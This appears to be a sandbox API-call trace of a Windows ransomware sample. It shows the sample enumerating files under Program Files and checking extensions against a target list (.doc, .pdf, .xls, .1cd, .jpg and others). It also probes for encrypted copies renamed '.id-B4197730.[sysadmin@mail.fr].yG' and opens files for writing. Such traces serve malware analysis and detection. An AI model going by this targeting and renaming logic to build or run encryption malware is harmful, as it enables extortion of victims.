	[0045.986] lstrlenW (lpString=".doc") returned 4
	[0045.986] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.986] lstrlenW (lpString=".docx") returned 5
	[0045.986] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0045.986] lstrlenW (lpString=".pdf") returned 4
	[0045.986] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.986] lstrlenW (lpString=".xls") returned 4
	[0045.986] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.986] lstrlenW (lpString=".xlsx") returned 5
	[0045.986] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0045.986] lstrlenW (lpString=".ppt") returned 4
	[0045.986] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.986] lstrlenW (lpString=".zip") returned 4
	[0045.986] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.986] lstrlenW (lpString=".rar") returned 4
	[0045.986] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.986] lstrlenW (lpString=".bz2") returned 4
	[0045.986] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.986] lstrlenW (lpString=".7z") returned 3
	[0045.986] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.986] lstrlenW (lpString=".dbf") returned 4
	[0045.986] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.986] lstrlenW (lpString=".1cd") returned 4
	[0045.986] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml") returned 75
	[0045.987] lstrlenW (lpString=".jpg") returned 4
	[0045.987] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.987] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.987] lstrlenW (lpString="base_ca.xml") returned 11
	[0045.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0046.406] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3529) returned 1
	[0046.406] CloseHandle (hObject=0x2ec) returned 1
	[0046.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20
	[0046.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.406] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.407] lstrlenW (lpString=".doc") returned 4
	[0046.407] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.407] lstrlenW (lpString=".docx") returned 5
	[0046.407] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0046.407] lstrlenW (lpString=".pdf") returned 4
	[0046.407] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.407] lstrlenW (lpString=".xls") returned 4
	[0046.407] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.407] lstrlenW (lpString=".xlsx") returned 5
	[0046.407] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0046.407] lstrlenW (lpString=".ppt") returned 4
	[0046.407] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.407] lstrlenW (lpString=".zip") returned 4
	[0046.407] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.407] lstrlenW (lpString=".rar") returned 4
	[0046.407] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.407] lstrlenW (lpString=".bz2") returned 4
	[0046.407] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.407] lstrlenW (lpString=".7z") returned 3
	[0046.407] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.407] lstrlenW (lpString=".dbf") returned 4
	[0046.407] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.407] lstrlenW (lpString=".1cd") returned 4
	[0046.407] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.407] lstrlenW (lpString=".jpg") returned 4
	[0046.407] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.407] lstrlenW (lpString=".doc") returned 4
	[0046.408] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.408] lstrlenW (lpString=".docx") returned 5
	[0046.408] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0046.408] lstrlenW (lpString=".pdf") returned 4
	[0046.408] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.408] lstrlenW (lpString=".xls") returned 4
	[0046.408] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.408] lstrlenW (lpString=".xlsx") returned 5
	[0046.408] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0046.408] lstrlenW (lpString=".ppt") returned 4
	[0046.408] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.408] lstrlenW (lpString=".zip") returned 4
	[0046.408] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.408] lstrlenW (lpString=".rar") returned 4
	[0046.408] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.408] lstrlenW (lpString=".bz2") returned 4
	[0046.408] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.408] lstrlenW (lpString=".7z") returned 3
	[0046.408] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.408] lstrlenW (lpString=".dbf") returned 4
	[0046.408] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.408] lstrlenW (lpString=".1cd") returned 4
	[0046.408] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 81
	[0046.408] lstrlenW (lpString=".jpg") returned 4
	[0046.408] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.408] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0046.408] lstrlenW (lpString="ipsplk.xml") returned 10
	[0046.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0046.775] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=2600) returned 1
	[0046.775] CloseHandle (hObject=0x334) returned 1
	[0046.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml")) returned 0x20
	[0046.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplk.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.775] lstrlenW (lpString=".doc") returned 4
	[0046.775] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.775] lstrlenW (lpString=".docx") returned 5
	[0046.775] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1
	[0046.775] lstrlenW (lpString=".pdf") returned 4
	[0046.775] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.775] lstrlenW (lpString=".xls") returned 4
	[0046.775] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.775] lstrlenW (lpString=".xlsx") returned 5
	[0046.775] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1
	[0046.775] lstrlenW (lpString=".ppt") returned 4
	[0046.775] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.775] lstrlenW (lpString=".zip") returned 4
	[0046.775] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.775] lstrlenW (lpString=".rar") returned 4
	[0046.775] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.775] lstrlenW (lpString=".bz2") returned 4
	[0046.775] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.776] lstrlenW (lpString=".7z") returned 3
	[0046.776] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.776] lstrlenW (lpString=".dbf") returned 4
	[0046.776] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.776] lstrlenW (lpString=".1cd") returned 4
	[0046.776] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.776] lstrlenW (lpString=".jpg") returned 4
	[0046.776] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.776] lstrlenW (lpString=".doc") returned 4
	[0046.776] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0046.776] lstrlenW (lpString=".docx") returned 5
	[0046.776] lstrcmpiW (lpString1=".docx", lpString2="k.xml") returned -1
	[0046.776] lstrlenW (lpString=".pdf") returned 4
	[0046.776] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0046.776] lstrlenW (lpString=".xls") returned 4
	[0046.776] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0046.776] lstrlenW (lpString=".xlsx") returned 5
	[0046.776] lstrcmpiW (lpString1=".xlsx", lpString2="k.xml") returned -1
	[0046.776] lstrlenW (lpString=".ppt") returned 4
	[0046.776] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0046.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.776] lstrlenW (lpString=".zip") returned 4
	[0046.776] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0046.776] lstrlenW (lpString=".rar") returned 4
	[0046.776] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0046.776] lstrlenW (lpString=".bz2") returned 4
	[0046.776] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0046.776] lstrlenW (lpString=".7z") returned 3
	[0046.776] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0046.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.777] lstrlenW (lpString=".dbf") returned 4
	[0046.777] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.777] lstrlenW (lpString=".1cd") returned 4
	[0046.777] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0046.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsplk.xml") returned 61
	[0046.777] lstrlenW (lpString=".jpg") returned 4
	[0046.777] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0046.777] lstrcmpiW (lpString1=".jpg", lpString2=".yG") returned -1
	[0046.777] lstrlenW (lpString="GreenBubbles.jpg") returned 16
	[0046.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0047.138] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=6406) returned 1
	[0047.138] CloseHandle (hObject=0x388) returned 1
	[0047.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20
	[0047.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.168] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.168] lstrlenW (lpString=".doc") returned 4
	[0047.168] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.168] lstrlenW (lpString=".docx") returned 5
	[0047.168] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0047.168] lstrlenW (lpString=".pdf") returned 4
	[0047.168] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.168] lstrlenW (lpString=".xls") returned 4
	[0047.168] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.168] lstrlenW (lpString=".xlsx") returned 5
	[0047.168] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0047.168] lstrlenW (lpString=".ppt") returned 4
	[0047.168] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.169] lstrlenW (lpString=".zip") returned 4
	[0047.169] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.169] lstrlenW (lpString=".rar") returned 4
	[0047.169] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.169] lstrlenW (lpString=".bz2") returned 4
	[0047.169] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.169] lstrlenW (lpString=".7z") returned 3
	[0047.169] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.169] lstrlenW (lpString=".dbf") returned 4
	[0047.169] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0047.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.169] lstrlenW (lpString=".1cd") returned 4
	[0047.169] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0047.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.169] lstrlenW (lpString=".jpg") returned 4
	[0047.169] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0047.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.169] lstrlenW (lpString=".doc") returned 4
	[0047.169] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0047.169] lstrlenW (lpString=".docx") returned 5
	[0047.169] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0047.169] lstrlenW (lpString=".pdf") returned 4
	[0047.169] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0047.169] lstrlenW (lpString=".xls") returned 4
	[0047.169] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0047.169] lstrlenW (lpString=".xlsx") returned 5
	[0047.169] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0047.169] lstrlenW (lpString=".ppt") returned 4
	[0047.169] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0047.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.169] lstrlenW (lpString=".zip") returned 4
	[0047.169] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0047.169] lstrlenW (lpString=".rar") returned 4
	[0047.169] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0047.169] lstrlenW (lpString=".bz2") returned 4
	[0047.170] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0047.170] lstrlenW (lpString=".7z") returned 3
	[0047.170] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0047.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.170] lstrlenW (lpString=".dbf") returned 4
	[0047.170] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0047.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.170] lstrlenW (lpString=".1cd") returned 4
	[0047.170] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0047.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74
	[0047.170] lstrlenW (lpString=".jpg") returned 4
	[0047.170] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0047.170] lstrcmpiW (lpString1=".inc", lpString2=".yG") returned -1
	[0047.170] lstrlenW (lpString="adcjavas.inc") returned 12
	[0047.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0047.296] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=630) returned 1
	[0047.296] CloseHandle (hObject=0x390) returned 1
	[0047.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20
	[0047.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0047.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.297] lstrlenW (lpString=".doc") returned 4
	[0047.297] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0047.297] lstrlenW (lpString=".docx") returned 5
	[0047.297] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0047.297] lstrlenW (lpString=".pdf") returned 4
	[0047.297] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0047.297] lstrlenW (lpString=".xls") returned 4
	[0047.297] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0047.297] lstrlenW (lpString=".xlsx") returned 5
	[0047.297] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0047.297] lstrlenW (lpString=".ppt") returned 4
	[0047.297] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0047.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.297] lstrlenW (lpString=".zip") returned 4
	[0047.297] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0047.297] lstrlenW (lpString=".rar") returned 4
	[0047.297] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0047.297] lstrlenW (lpString=".bz2") returned 4
	[0047.297] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0047.297] lstrlenW (lpString=".7z") returned 3
	[0047.297] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0047.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.297] lstrlenW (lpString=".dbf") returned 4
	[0047.297] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0047.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.297] lstrlenW (lpString=".1cd") returned 4
	[0047.297] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0047.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.297] lstrlenW (lpString=".jpg") returned 4
	[0047.298] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0047.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.298] lstrlenW (lpString=".doc") returned 4
	[0047.298] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0047.298] lstrlenW (lpString=".docx") returned 5
	[0047.298] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0047.298] lstrlenW (lpString=".pdf") returned 4
	[0047.298] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0047.298] lstrlenW (lpString=".xls") returned 4
	[0047.298] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0047.298] lstrlenW (lpString=".xlsx") returned 5
	[0047.298] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0047.298] lstrlenW (lpString=".ppt") returned 4
	[0047.298] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0047.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.298] lstrlenW (lpString=".zip") returned 4
	[0047.298] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0047.298] lstrlenW (lpString=".rar") returned 4
	[0047.298] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0047.298] lstrlenW (lpString=".bz2") returned 4
	[0047.298] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0047.298] lstrlenW (lpString=".7z") returned 3
	[0047.298] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0047.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.298] lstrlenW (lpString=".dbf") returned 4
	[0047.298] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0047.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.299] lstrlenW (lpString=".1cd") returned 4
	[0047.299] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0047.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0047.299] lstrlenW (lpString=".jpg") returned 4
	[0047.299] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0047.299] lstrcmpiW (lpString1=".gif", lpString2=".yG") returned -1
	[0047.299] lstrlenW (lpString="splash@2x.gif") returned 13
	[0047.299] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash@2x.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0047.417] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=15276) returned 1
	[0047.417] CloseHandle (hObject=0x394) returned 1
